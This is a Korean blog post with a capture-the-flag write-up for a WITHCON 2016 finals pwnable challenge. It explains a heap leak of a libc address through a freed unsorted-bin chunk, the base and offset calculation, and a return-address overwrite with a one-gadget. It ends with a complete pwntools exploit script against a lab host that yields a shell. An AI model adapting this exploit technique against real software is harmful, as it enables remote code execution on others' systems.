ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WITHCON Finals - jnjn
    CTF 2016. 10. 25. 21:45

    화이트햇 본선에서 600포인트로 나온 포너블 문제이다.


    본선에선 쫄탱이 먹어서 손을 안대고 끝나고 풀생각으로 해서 끝나고 오늘 풀어봤는데 재밌는 문제였다.


    300포인트가 더어려운듯. 300포인트 이거 롸업쓰고 풀러가야겠다. 


    그냥 대충 써도 보고 다 아실듯 


    익스플로잇 시나리오


    1. LIBC LEAK 

    2. calculate offset

    3. Overwrite RETN


    끝.




    오버플로우 벡터




    printf name leak 벡터 




    malloc, free후 list에서 name 에서 릭 가능 libc 얻어오고나서 모든 라이브러리와 비교해서 풀면됨


    로컬에서 셋팅할땐 그냥 슥삭가능, 본선 리모트 환경만 줬을땐 우분투 64비트 db 좀 가져와서 쓱싹하면 될듯



    RIP 그냥덮힘




    free하면 그냥 릭됨 저거 libc주소임 free chunk를 초기화하지않고 출력해서 libc가 릭됨.


    binlist에서 libc와 연결되어있는데 이건 fastbins만 아니면 모두 릭되는 구조를 가짐


    unsorted bin이기때문에  릭이 가능해짐!




    name 다음 보면 0x7fc1aa59b7b8 있는데 저거 따라가보면 아래와같음




    이렇게 libc주소나오는데, 본선에선 라이브러리안줬지만 그냥 우분투64비트 라이브러리 가져와서 쓰면 2가지의 경우가있으니까 슥삭하면 될듯


    저렇게 주소 나오는데 LIBCBASE는 걍 릭주소 - 꼭대기주소 빼면 base 나오니까 libc_base는 그냥구하고 거기에 oneshot 오프셋 더해서 RIP에 박으면 그냥 쉘 펑펑 따임




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    from pwn import *
    #95
    = remote("10.211.55.23",11002)
     
    print p.recvuntil(">  ")
    p.sendline("1")
    print p.recvuntil("Enter name size : ")
    p.sendline("123")
    print p.recvuntil("Enter name : ")
    p.sendline("123")
    print p.recvuntil("Enter age size : ")
    p.sendline("123")
    print p.recvuntil("Enter age : ")
    p.sendline("123")
     
    print p.recvuntil(">  ")
    p.sendline("2")
    print p.recvuntil("which one do you want to delete : ")
    p.sendline("0")
    print p.recvuntil(">  ")
    p.sendline("3")
    print p.recvuntil("name : ")
    leak = u64(p.recv(8))
    leak = int(str(hex(leak))[4:],16)
    libc_base = leak - 0x3be7b8
    magic = libc_base + 0x4647C
    print "[*] LEAK LIBC: " + hex(leak)
    print "[*] LIBC BASE: " + hex(libc_base)
     
    print p.recvuntil(">  ")
    p.sendline("1")
    print p.recvuntil("Enter name size : ")
    p.sendline("95")
    print p.recvuntil("Enter name : ")
    p.sendline("A"*88 + p64(magic))
    p.sendline("123")
    p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    [0ctf] freenote  (0) 2016.11.04
    [Def-camp CTF] Warm Heap  (0) 2016.10.31
    WITHCON Finals - BPTime router  (1) 2016.10.25
    [BCTF] BCloud  (0) 2016.10.23
    [DEFCON 2014] Babyfirst heap  (1) 2016.10.20

    댓글

Designed by Tistory.